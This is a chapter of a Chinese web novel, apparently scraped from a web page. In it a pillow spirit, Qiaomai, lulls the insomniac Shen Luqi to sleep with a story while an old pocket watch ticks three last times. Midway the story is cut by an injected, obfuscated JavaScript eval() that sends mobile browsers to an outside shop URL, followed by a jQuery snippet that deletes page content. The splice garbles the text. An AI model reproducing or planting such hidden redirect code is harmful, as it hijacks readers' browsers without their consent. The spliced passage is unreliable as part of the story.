沈鹿栖的头枕在荞麦的腿上。
这个姿势是沈鹿栖自己选的。她把靠枕推开，把头搁在荞麦的膝盖上，后脑勺压着荞麦的大腿，脸朝着天花板。她的头发散开了，有几缕搭在荞麦的膝盖上，黑的，凉的，带着洗发水残留的薄荷味。
客厅的灯开着。暖黄色的光从头顶落下来，把沈鹿栖脸上的青色照得更重了。眼下那两道阴影像铅笔画的，颧骨下方凹进去一块，皮肤薄得能看见底下青色的血管。她的嘴唇干了，习惯性地舔了一下，舌头在下唇上划了半圈，留下一点水光。
荞麦看着她。
她的手放在沈鹿栖的额头上。掌心贴着皮肤，皮肤是温的，比她的手暖两度左右。她能感觉到沈鹿栖的体温从皮肤底下渗过来，渗进她的掌心，渗进她的指缝。
"讲故事。"沈鹿栖说。
她的眼睛没有睁开。声音从下面传上来，闷闷的，像隔了一层布。
"讲什么？"
"都行。"
荞麦想了一下。她的手指在沈鹿栖的额头上动了一下，指尖碰到额头上方的发际线，有几根碎发扎手。
"从前有一只枕头。"她说。
沈鹿栖的嘴角动了一下。不是笑，是一种肌肉的放松，像嘴角想往上弯，但没弯够。
"又是枕头。"
"因为我是枕头。"荞麦说。"枕头只会讲枕头的故事。"
沈鹿栖没有回答。她的呼吸很浅，胸口起伏的幅度很小，像水面上很轻的涟漪。
"这只枕头活了很久很久。"荞麦继续说。"久到它自己都不记得多久了。它只记得它被很多人睡过。有的人睡得很沉，像石头掉进水里，扑通一声就沉下去了。有的人睡得很浅，像树叶落在水面上，漂着，风一吹就醒了。"
她的声音在客厅里飘着，暖黄色的灯光落在她身上，把她的影子投在墙上，圆圆的，头的轮廓有一点毛躁，像布料的边缘起了毛。
"它被很多人睡过。但它从来没有问过一个问题。"
"什么问题？"沈鹿栖的声音从下面传上来，比刚才轻了一点。
"它从来没有问过：我呢？"
沈鹿栖没有说话。
"别人睡着了，它就醒着。别人醒了，它就等下一个人来睡。它从来没有想过自己。枕头不想自己的事。枕头只想别人睡不睡得着。"
窗外有风。风从窗缝里挤进来，窗帘动了一下，布料碰到窗框，发出一声很轻的响。
"然后有一天，枕头遇到了一个人。"
荞麦的手指从沈鹿栖的额头移到了太阳穴。指尖轻轻按了一下，又松开。
"这个人和以前的人都不一样。以前的人来了，躺下，闭上眼睛，过一会儿就睡着了。有的人快，有的人慢，但都会睡着。可是这个人不会。"
"她躺下来。闭上眼睛。又睁开。闭上。又睁开。反反复复，像一扇关不上的门。"
沈鹿栖的呼吸没有变。
"枕头不理解。"荞麦说。"枕头想：她为什么不睡？枕头的功能就是让人睡着的。如果一个人睡不着，那枕头是不是坏了？"
她的手指在沈鹿栖的太阳穴上画了一个很小的圈。
"枕头开始害怕。它想：是不是我不够好？是不是我太硬了？是不是我太软了？是不是我身上有味道，她不喜欢？它想了很多很多理由，每一个理由都指向同一个结论：是它的问题。"
沈鹿栖的手指动了一下。右手，食指，轻轻敲了一下沙发垫子。
"但不是它的问题。"
荞麦的声音变轻了。
"那个人不是睡不着。她是不敢睡。"
客厅里很安静。暖黄色的灯光把所有东西都照得软软的，沙发的棱角、茶几的边沿、怀表壳的铜光，都被灯光磨圆了。只有沈鹿栖的呼吸声是清晰的，一进一出，像一条很浅的溪在石头上流。
"枕头不知道'不敢'是什么意思。"荞麦说。"枕头只知道'睡'。睡是它的本职工作。它被做出来，就是为了让人睡着的。它不懂'不敢'。"
"它问那个人：你为什么不睡？"
"那个人说：我怕闭上眼睛，就又错过了。"
"枕头问：你错过了什么？"
"那个人没有回答。但她的手在发抖。"
荞麦的手指从沈鹿栖的太阳穴移到了脸颊。指尖碰到颧骨下方那道青色的阴影，皮肤薄得能感觉到底下的骨头。
"枕头不懂'错过'。枕头不懂'怕'。枕头不懂人类的大部分事情。它只懂一件事。"
"它说：你闭上眼睛的时候，我帮你看着。"
沈鹿栖的呼吸停了一下。
很短。不到一秒。然后又恢复了。但频率变了。比刚才慢了一点点。
"那个人没有说话。枕头感觉到她的体温在变。不是变暖，也不是变冷。是变稳了。像一条河突然放慢了流速，不是因为流不动了，是因为河面变宽了。"
"她闭上眼睛。"
"这一次，她没有睁开。"
荞麦的手指停在沈鹿栖的脸颊上。指腹贴着皮肤，皮肤是温的，底下有很轻的脉搏在跳。
"枕头很开心。"她说。"它不知道'开心'是什么感觉。但它身上开始渗出水珠。很细的，很密的，像被雨淋过。它不知道为什么会这样。以前从来没有过。"
"它以为自己坏了。"
沈鹿栖的嘴角又动了一下。这次幅度比刚才大，弯了一点，真的弯了。
"然后枕头发现了一件事。"
荞麦的声音变慢了。不是刻意变慢，是句子和句子之间的间距在拉长，像唱片转到了最后一圈，纹路变稀了，声音也变稀了。
"它发现……它忘了一件事。"
她停了。
客厅里只有沈鹿栖的呼吸声。一进一出。很轻。很稳。
荞麦想说什么。她的嘴唇动了一下，没有声音。又动了一下。
"它忘了……"
她停了。
她不记得自己要说什么了。
不是忘了故事的内容。故事还在。枕头还在。那个人还在。但有一块东西不见了。像一块被擦掉的区域，她知道那里曾经有东西，但她不知道那是什么。
她的手指在沈鹿栖的脸颊上停住了。
沈鹿栖的呼吸变慢了。
不是变浅。是变慢。频率在降。从每分钟十六次，变成十四次，变成十二次。胸口起伏的幅度变大了，但速度变慢了。像一条河突然找到了入海口，河面变宽了，流速变慢了，水变得很深很沉。
荞麦感觉到了。
她感觉到了沈鹿栖的身体在变。不是体温的变化，是一种更深层的变化。肌肉在放松。肩膀在往下沉。手指不再敲沙发垫子了，五根手指松开了，摊在垫子上，指尖朝上。
沈鹿栖的嘴唇微微张开了一点。呼吸从鼻子里转到了嘴里。出气的声音变大了，很轻的，像风吹过一个很小的洞。
她睡着了。
荞麦没有动。
她的手指还停在沈鹿栖的脸颊上。掌心贴着皮肤，皮肤是温的，脉搏在跳，一下一下的，很慢，很稳。她能感觉到沈鹿栖的呼吸从胸口传上来，传到脸上，传到她的掌心。
客厅里很安静。灯还开着。暖黄色的光落在她们身上，把两个人的影子叠在一起，投在墙上。
窗帘被风吹动了一下，又停了。
荞麦低头看着沈鹿栖的脸。
沈鹿栖的眼睛闭着。睫毛很长，在颧骨上投下一小片阴影。嘴唇微微张着，呼吸从嘴里出来，很轻，很稳。她的脸在暖黄色的灯光下变得很柔和，颧骨下方那道青色的阴影还在，但不那么深了。眉心那条浅浅的竖纹也平了，舒展开了，像一张被揉皱的纸终于被展平了。
三年了。
三年没有真正睡着过的人，现在睡着了。
荞麦的鼻子酸了一下。她不知道'酸'是什么感觉。她只知道鼻腔里有一种很轻的胀感，像有什么东西在里面膨胀，但没有出口。
她的手臂上开始渗出水珠。
很细的。很密的。从皮肤底下冒出来的，一颗一颗的，聚在一起，顺着小臂往下淌。
她低头看了一眼自己的手臂。水珠在灯光下发亮，像一层薄薄的露水。她不知道这是什么。以前也有过，在唱片店的废墟上，和梨枝一起渗过。那次她知道那是因为'感动'。但这次不一样。这次她不知道。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17934232|211004||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
高兴？难过？都不像。是一种更大的东西，大到装不下，就从皮肤底下渗出来了。
水珠越来越多。从手臂蔓延到肩膀，从肩膀蔓延到锁骨，从锁骨蔓延到脸颊。她感觉到自己的T恤湿了，贴在后背上，凉凉的。头发也湿了，有几缕贴在额头上。
她没有擦。
她就那么坐着，手放在沈鹿栖的脸颊上，身上湿漉漉的，像被雨淋过。
茶几上传来一声响。
很轻。像什么东西在动。像金属在金属上滑了一下。
荞麦转过头。
怀表的壳在茶几上。
铜壳，旧了，边角被磨得发亮。表盖合着，链子盘在旁边。它已经停了很久了。上次钟表匠来的时候就停了。齿轮锈死了，灵虚弱到无法驱动机械。壳还在，但里面是空的。
但现在，表盖的缝隙里透出一点光。
很暗。铜色的，暖的，像夕阳照在铜器上的那种光。光从缝隙里漏出来，落在茶几上，落在遥控器上，落在那根用了一半的红蜡烛上。
然后她听到了一声嘀嗒。
很轻。比正常的嘀嗒声轻很多，像一个人在很远的地方敲了一下指节。一下。停了。又一下。
怀表在走。
荞麦看着那只怀表。铜壳上的光在变，从暗变亮，又从亮变暗，像呼吸。嘀嗒声在继续，一下一下的，间隔很长，比正常的秒针慢了三倍。
它在回光。
钟表匠说过。怀表的灵虚弱到无法驱动机械。但它没有完全消散。它在等一个瞬间。
嘀嗒。嘀嗒。嘀嗒。
三下。
秒针从凌晨三点的位置开始走。走了一格。很慢，很涩，像生了锈的齿轮在硬转。铜壳上的光亮了一下，又暗了。
然后停了。
嘀嗒声消失了。铜壳上的光灭了。表盖的缝隙里不再有光漏出来。怀表壳安静地待在茶几上，铜壳旧了，边角被磨得发亮。表盖合着，链子盘在旁边。
和刚才一模一样。
但它走了三秒。
在沈鹿栖真正睡着的那一刻，它走了三秒。
荞麦看着那只怀表。看了很久。
她不知道那三秒意味着什么。她只知道有什么东西在那三秒里完成了。像一首歌走到了最后一个音符，振动了一下，然后安静了。
她转过头，看着沈鹿栖。
沈鹿栖还在睡。呼吸很沉，很稳。胸口起伏的幅度比刚才小了一点，更慢了。她的手指还是摊开的，指尖朝上，掌心朝天。
荞麦低下头。
她的嘴唇凑近沈鹿栖的耳朵。很近。近到能感觉到沈鹿栖的呼吸从耳朵旁边经过，温的，湿的。
她不知道自己为什么要说这句话。但她的身体记得。像有什么东西从很深的地方浮上来，浮到嗓子眼，变成了声音。
"等你睡着。"
四个字。很轻。比怀表的嘀嗒声还轻。
她没有说完。后面还有。她知道后面还有。但她不记得是什么了。那个区域又是空白的，被擦掉的，她知道那里有东西，但她不知道那是什么。
没关系。
她坐直了身体。
客厅的灯还开着。暖黄色的光落在她们身上。一个睡着了，一个醒着。醒着的那个身上湿漉漉的，T恤贴在后背上，头发贴在额头上，脸颊上有水珠滑过的痕迹。
睡着的那个，三年来第一次，没有猛地睁开眼睛。
怀表壳在茶几上安静地待着。
铜壳旧了。边角被磨得发亮。表盖合着，链子盘在旁边。不再走动，不再嘀嗒，不再嗡鸣。但壳还在。灵在那三秒里回了最后一次光，然后消散了。壳还在。
荞麦看着窗外。
天还是黑的。路灯的光从窗帘缝隙里漏进来，一条细细的光带，落在地板上。
她把沈鹿栖额头上的一缕头发拨开。手指碰到皮肤，皮肤是温的。脉搏在跳，一下一下的，很慢，很稳。
她把手放在沈鹿栖的手背上。沈鹿栖的手比她的暖，手指摊开着，掌心朝天。荞麦的手凉凉的，指缝间的织物纹路已经很浅了，快要看不见了。
她没有睡。
她帮沈鹿栖醒着。